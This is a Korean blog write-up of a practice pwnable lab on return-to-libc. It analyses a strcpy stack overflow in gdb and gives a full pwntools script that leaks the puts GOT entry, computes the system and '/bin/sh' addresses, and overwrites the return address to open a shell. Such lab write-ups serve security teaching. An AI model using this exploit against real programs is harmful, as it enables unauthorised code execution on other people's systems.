1. 시작하기전에...
이 풀이를 보시기 전에 앞서 블로깅한 글(rop)을 보고 와주시면 감사하겠습니다.
링크 : http://bachs.tistory.com/entry/NXNo-eXcutable-ROP?category=961837
return to libary는 함수의 리턴주소를 overflow를 이용하여 사용하고자 하는 함수의 주소로 덮어써 프로그램의 실행 플로우를 조작하는 것을 말합니다.
이 문제에서는 Print_message()의 리턴주소를 덮어썼습니다.
2. 분석
먼저, 문제에서 주어진 ret2lib.c파일을 살펴봅시다.
처음으로는 return to library에 대해 알고있는지 물어본 후 메모리 어떤 부분을 보고싶냐고 친절하게 물어봅니다.
알고 싶은 주소값을 던져주면 See_something()을 통해서 해당 주소에 어떤 값이 저장되어 있는지를 출력을 해주고있습니다.
그리고 남길말을 입력하라고하는데 이때 Print_message에서 Buffer Overflow를 발생시킬 수 있습니다.
Print_message의 인자로 입력할 남길말이 message변수에 담겨서 전달이 되는데 사이즈를 256바이트를 받습니다.
그리고 함수 내에서는 지역변수 48바이트짜리 버퍼에 카피를 하고있습니다.
함수 내 지역변수는 프로그램 스택에 저장이 되기 때문에 48바이트 공간에 256바이트를 카피하면 Overflow가 발생하게 되는 것이지요!
혹시 이해가 잘 안되신다면 앞선 블로깅들을 보고와주시기 바랍니다ㅠ
그럼 코드를 봤으니 gdb로 한번 까봅시다.
Print_message의 +6 에서 함수의 input으로 보이는 ebp+0x8을 eax에 넣고,
+9에서는 이 eax의 값을 esp+0x4 위치(스택 최상위 바로 아래)에 저장하고있습니다. 그리고
+13에서 eax에 지역변수 buf로 보이는 ebp-0x38을 저장한 후
+16에서 esp로 저장하고나서
+19에서 strcpy함수를 호출합니다.
결과적으로 정리하면 스택 최상위에는 ebp-0x38, 그 아래에 ebp+0x8이 각각 위치하고 strcpy가 호출 되는 거네요
c소스 중 strcpy(buf, mesg); 이 라인이 어셈으로 표현됐다고 보면 되겠습니다.
따라서, ebp-0x38(56)에 buf값이 저장될테고, 리턴 주소를 덮어 쓰려면 60개의 dummy가 필요하다는 계산이 나올 수 있습니다.
현재까지 분석한 스택의 상황을 그려보면 이런 모습이겠죠, dummy가 60바이트만큼 필요하단 건 buf size(56byte) + SFP(4byte)를 말씀드린 것입니다.
3. exploit
return to library를 하기위해서 준비할 것은 크게
1. Overflow로 덮어쓸 위치
2. 사용하고 싶은 함수와 기타 리소스 주소 알아내기
정도가 될 것 같습니다.
Overflow로 덮어쓸 위치는 구했고.. system("/bin/sh")를 사용할 거고, 따라서 필요한건 system함수의 주소, "/bin/sh"문자열의 주소를 알아내야합니다.
알아 낼 방법은 이 프로그램 내에서 특정 주소를 입력하면 그 값을 알려주기 때문에, 프로그램에서 사용된 puts의 got를 입력해 puts의 실제 함수 주소를 알아내고, 그 값을 기준으로 system 함수의 주소와 "/bin/sh"의 주소를 계산해 내도록 하겠습니다.
solv.py
1 2 3 4 5 6 7 8 9 100 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 | from pwn import * p = process('./ret2lib') e = ELF('./ret2lib') #found address of puts got log.info("found address of puts got : %s" % hex(e.got["puts"])) puts_got = e.got["puts"] p.recvuntil(":") p.send(str(puts_got)) puts_addr = p.recvline() puts_addr = int(puts_addr.split(":")[1].strip(), 16) sys_offset = 0x24d40 binsh_offset = 0xfd548 system_addr = puts_addr - sys_offset binsh_addr = puts_addr + binsh_offset log.info("address of puts : %s" % hex(puts_addr)) log.info("address of system : %s" % hex(system_addr)) log.info("address of /bin/sh string : %s" % hex(binsh_addr)) payload = "" payload += "a"*60 #dummy 60bytes payload += p32(system_addr) payload += "aaaa" payload += p32(binsh_addr) p.recvuntil(":") p.send(payload) p.interactive() |
먼저 puts의 got를 알아내서 이 주소값을 프로그램에 전송하고, 결과로 실제 puts 함수의 주소를 알아냅니다.
그리고 이 값을 기준으로 system 함수의 offset과 "/bin/sh"문자열의 offset으로 계산하여 실제 주소들을 알아내는데,
offset은 이렇게 계산할 수 있습니다.
gdb로 프로그램을 실행 한 후 실행 당시의 주소 값들을 가지고 계산을 하는데, puts의 함수와 얼마나 떨어져 있는지를
offset으로 사용하여 프로그램 실행 당시에도 각각의 위치를 알아 낼 수 있는 것이지요.
계산이 끝났다면 이제 payload만 완성 시켜주면됩니다. 60개의 dummy를 넣고, system함수의 주소와 가상의 리턴 주소값(dummy) 그리고 system함수의 인자를 넣어주면 payload완성입니다.
끝!
'Study > Pwnable' 카테고리의 다른 글
[HITCON Training] lab8 / FormatString (0) | 2017.12.19 |
---|---|
[HITCON Training] lab6 / Stack migration, Stack pivoting (0) | 2017.12.15 |
[HITCON Training] lab2 / shellcraft (0) | 2017.11.28 |
NX(No eXcutable) / ROP (1) | 2017.09.29 |
pwnable.kr / input / pwntools (0) | 2017.08.01 |